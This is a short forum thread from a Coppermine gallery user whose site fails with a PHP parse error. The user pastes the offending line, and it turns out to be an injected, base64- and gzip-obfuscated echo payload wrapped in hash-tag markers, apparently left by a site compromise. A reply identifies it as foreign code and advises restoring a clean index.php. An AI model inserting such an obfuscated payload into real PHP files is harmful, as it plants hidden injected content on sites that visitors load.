Site stop with warning: Parse error: syntax error, unexpected T_STRING.

[vanlhd_99]

Warming: Parse error: syntax error, unexpected T_STRING in /home/venguon/public_html/coppermine/index.php on line 448

Here is that line:
#a4bc48#
echo(gzinflate(base64_decode("hVVtb9pIEP4rWCO/zGbPTmiAix2zlqKritR+Od19qAgaUeJcSShEvFSpIu633zM2Dk7SU4XM7s77PDM7e7mZrecP2+H36boj93l0s5rtvpXLLWfz20ju+UlG+Ti8jf1eaEO/TPx37J8G/mzo/576A+dfeH7X+tO9f1P4Z5H/JfPPjd+ncJLtK5Oz/CmUq4swDTcPi+vH/sUWduTDRgm7L9ePg3f4ztdK/NEP0/EEm7/uw3S73pXY9koI3kHv/XypMos7VVQVfF21t/xH6aOPoN+Us9VN+fefo6vVN7BPVQ3fH/h69To4D/cWRvLb3XK2na+WkfDT7Wodyef8X5nFiOG3w5rJ50vpj2WSdLE9OVEkTvLw+rHbC0+UAakPmwk0Tdd2upztZT0Oa1eD/nQRgrWupEYfsR0xJKz089ARRc7aQGJHXBA5oYTYGfIopsSmErNnPZc5S+KME6yJSoOaUIyzAd2aVIwpzNDhB31xDjKpUoSVD2sRDclzez3Z1ELbveGIoVjgu6Im5BrvnLnCDiWWgAvrVE+GLmXHploNRy/Ox9VWK7FHto7UOrVjHDKFL+SploQD/MiY456BgjNWkUDeQMjQUdJwW4vbWm1rVNtIrUM2SOYQSx1r7U3PGhMy1Kgk0xylUJ0Dl15l8kabLKpgqaqCZmcDIBehqh65VmTR875Gp4mSWnSLmkhdFRO1dN3/ZCgVQlop81MJx6mJiSoEIkadSDglAkeYGRTEztCoOcwB2WpnSGmskqT5QUQxshlHDVLaPegTD50jiAH/QNhY7Y8AsgVUGF7EBQ7e36LruMG1sj1EhCnsGRfw3sY2JofuGCL2gvgF8k0lmh6zpum1Ru6wGnqxNvI1Pkc71shrPSqOHfEyTxeg1oy7cridehtwe6x77bPJ7vmeaOf/1KL2JvKmVG2hs7lB7Ff3o90H7d5Sm3p/2zR4UptD2PQcoUPhkwsB6qhITDFb9hRBDpTGCQ9RgUqWkxoLjablnVvWf3GD62hcHUOqU07/jfZTNYOAqU6f+p5GVKADsqrbEtoDAU9nIM6VPGehlelxWmMIT3MZVWO1V04izNve+5Cr89VFdcZ45kxHevX8fOrMlx2Z8hNes+2Ph3KFR206lk8TznNVWtzBZD8/zHM1UbOfx/sZ87O3V6xTe6ZDfb8ut7v1srP9Ot/oiF/nMo3QbKM8DDM4iMJFucS7MNDn5yuCu0wOb+5/")));
#/a4bc48#
?>[\r\n]*/i", '<br />', bb_decode($cat['details']['description']));

Please help me.

Thnx very much

[Αndré]

Such code doesn't exist in index.php. Replace that file with a clean copy from the official Coppermine package.